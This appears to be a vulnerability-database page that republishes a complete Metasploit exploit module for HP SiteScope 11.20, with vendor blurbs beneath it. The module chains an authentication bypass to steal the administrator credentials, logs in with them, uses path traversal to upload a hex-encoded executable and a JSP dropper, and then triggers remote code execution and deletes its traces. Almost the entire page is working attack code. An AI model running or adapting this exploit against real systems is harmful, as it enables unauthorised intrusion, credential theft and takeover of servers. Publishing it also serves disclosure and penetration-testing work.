Lucene search
K

HP SiteScope Remote Code Execution

🗓️ 06 Sep 2012 00:00:00Reported by rgodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

HP SiteScope Remote Code Execution - code execution flaw, authentication bypass, arbitrary payload upload, tested on HP SiteScope 11.20 over Windows 2003 SP2

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP SiteScope Remote Code Execution',  
'Description' => %q{  
This module exploits a code execution flaw in HP SiteScope. It exploits two  
vulnerabilities in order to get its objective. An authentication bypass in the  
getSiteScopeConfiguration operation, available through the APISiteScopeImpl AXIS  
service, to retrieve the administrator credentials and subsequently abuses the  
UploadManagerServlet to upload an arbitrary payload embedded in a JSP. The module  
has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2.  
},  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '85120' ],  
[ 'OSVDB', '85121' ],  
[ 'BID', '55269' ],  
[ 'BID', '55273' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-173/' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ]  
],  
'Privileged' => true,  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'HP SiteScope 11.20 / Windows x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
},  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 29 2012'))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])  
], self.class)  
end  
  
def on_new_session(client)  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
client.fs.file.rm("../#{@var_hexfile}.txt")  
client.fs.file.rm("../#{@jsp_name}.jsp")  
else  
client.shell_command_token("del ..\\#{@var_hexfile}.txt")  
client.shell_command_token("del ..\\#{@jsp_name}.jsp")  
end  
end  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
@uri = target_uri.path  
@uri << '/' if @uri[-1,1] != '/'  
  
# Retrieve administrator credentials  
print_status("#{@peer} - Retrieving HP SiteScope Configuration")  
conf = access_configuration  
  
if not conf or conf.empty?  
print_error("#{@peer} - Failed to retrieve the HP SiteScope Configuration")  
return  
end  
  
print_status("#{@peer} - Retrieving HP SiteScope administrator credentials")  
  
admin_data = conf.split("\x03\x5F\x69\x64\x74\x00\x0D\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F\x72\x74\x00")[1]  
  
if not admin_data or admin_data.empty?  
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")  
return  
end  
  
admin_password = admin_data.split(/\x09_passwordt\x00/)[1]  
  
if not admin_password or admin_password.empty?  
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")  
return  
end  
  
password_length = admin_password.unpack("C").first  
if password_length > 0  
password = admin_password[1, password_length]  
else  
password = ""  
end  
  
admin_user_type, admin_user = admin_password.split(/\x06(_login[q|t])\x00/)[1, 2]  
  
if not admin_user_type or admin_user_type.empty?  
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")  
return  
end  
  
if admin_user_type == "_logint"  
if not admin_user or admin_user.empty?  
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")  
return  
end  
user_length = admin_user.unpack("C").first  
else  
user_length = 0  
end  
  
if user_length > 0  
user = admin_user[1, user_length]  
else  
user = ""  
end  
  
# Generate an initial JSESSIONID  
print_status("#{@peer} - Retrieving an initial JSESSIONID")  
res = send_request_cgi(  
'uri' => "#{@uri}servlet/Main",  
'method' => 'POST',  
)  
  
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/  
session_id = $1  
else  
print_error("#{@peer} - Retrieve of initial JSESSIONID failed")  
return  
end  
  
# Authenticate  
login_data = "j_username=#{user}&j_password=#{password}"  
  
print_status("#{@peer} - Authenticating on HP SiteScope Configuration")  
res = send_request_cgi(  
{  
'uri' => "#{@uri}j_security_check",  
'method' => 'POST',  
'data' => login_data,  
'ctype' => "application/x-www-form-urlencoded",  
'headers' =>  
{  
'Cookie' => "JSESSIONID=#{session_id}",  
}  
})  
  
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/  
session_id = $1  
redirect = URI(res.headers['Location']).path  
else  
print_error("#{@peer} - Authentication on SiteScope failed")  
return  
end  
  
# Follow redirection to complete authentication process  
print_status("#{@peer} - Following redirection to finish authentication")  
res = send_request_cgi(  
{  
'uri' => redirect,  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "JSESSIONID=#{session_id}",  
}  
})  
  
if not res or res.code != 200  
print_error("#{@peer} - Authentication on SiteScope failed")  
return  
end  
  
# Upload the JSP and the raw payload  
@jsp_name = rand_text_alphanumeric(8+rand(8))  
  
# begin <payload>.jsp  
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)  
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)  
var_data = Rex::Text.rand_text_alpha(rand(8)+8)  
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)  
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)  
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)  
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)  
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)  
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)  
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)  
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)  
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)  
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)  
@var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)  
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)  
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)  
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)  
  
jspraw = "<%@ page import=\"java.io.*\" %>\n"  
jspraw << "<%\n"  
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"  
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"  
jspraw << "String #{var_data} = \"\";\n"  
  
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"  
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"  
jspraw << "}\n"  
  
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"  
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"  
  
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"  
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"  
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"  
jspraw << "#{var_inputstream}.close();\n"  
  
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"  
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"  
jspraw << "{\n"  
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"  
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"  
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"  
jspraw << "#{var_comb} <<= 4;\n"  
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"  
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"  
jspraw << "}\n"  
  
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"  
jspraw << "#{var_outputstream}.close();\n"  
  
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"  
jspraw << "String[] #{var_fperm} = new String[3];\n"  
jspraw << "#{var_fperm}[0] = \"chmod\";\n"  
jspraw << "#{var_fperm}[1] = \"+x\";\n"  
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"  
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"  
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"  
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"  
jspraw << "}\n"  
# Linux and other UNICES allow removing files while they are in use...  
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"  
jspraw << "} else {\n"  
# Windows does not ..  
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"  
jspraw << "}\n"  
  
jspraw << "%>\n"  
  
# Specify the payload in hex as an extra file..  
payload_hex = payload.encoded_exe.unpack('H*')[0]  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")  
  
print_status("#{@peer} - Uploading the payload")  
res = send_request_cgi(  
{  
'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true",  
'method' => 'POST',  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'headers' =>  
{  
'Cookie' => "JSESSIONID=#{session_id}",  
}  
})  
  
if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/  
path = $1  
print_good("#{@peer} - Payload successfully uploaded to #{path}")  
else  
print_error("#{@peer} - Error uploading the Payload")  
return  
end  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")  
  
print_status("#{@peer} - Uploading the JSP")  
res = send_request_cgi(  
{  
'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true",  
'method' => 'POST',  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'headers' =>  
{  
'Cookie' => "JSESSIONID=#{session_id}",  
}  
})  
  
if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/  
path = $1  
print_good("#{@peer} - JSP successfully uploaded to #{path}")  
else  
print_error("#{@peer} - Error uploading the JSP")  
return  
end  
  
print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")  
send_request_cgi(  
{  
'uri' => "#{@uri}#{@jsp_name}.jsp",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => "JSESSIONID=#{session_id}",  
}  
})  
end  
  
def access_configuration  
  
data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"  
data << "<wsns0:Envelope" + "\r\n"  
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"  
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"  
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"  
data << ">" + "\r\n"  
data << "<wsns0:Body" + "\r\n"  
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"  
data << ">" + "\r\n"  
data << "<impl:getSiteScopeConfiguration" + "\r\n"  
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"  
data << "></impl:getSiteScopeConfiguration>" + "\r\n"  
data << "</wsns0:Body>" + "\r\n"  
data << "</wsns0:Envelope>"  
  
res = send_request_cgi({  
'uri' => "#{@uri}services/APISiteScopeImpl",  
'method' => 'POST',  
'ctype' => 'text/xml; charset=UTF-8',  
'data' => data,  
'headers' => {  
'SOAPAction' => '""',  
}})  
  
if res and res.code == 200  
  
if res.headers['Content-Type'] =~ /boundary="(.*)"/  
boundary = $1  
end  
if not boundary or boundary.empty?  
return nil  
end  
  
if res.body =~ /getSiteScopeConfigurationReturn href="cid:([A-F0-9]*)"/  
cid = $1  
end  
if not cid or cid.empty?  
return nil  
end  
  
if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m  
loot = Rex::Text.ungzip($1)  
end  
if not loot or loot.empty?  
return nil  
end  
  
return loot  
end  
  
return nil  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation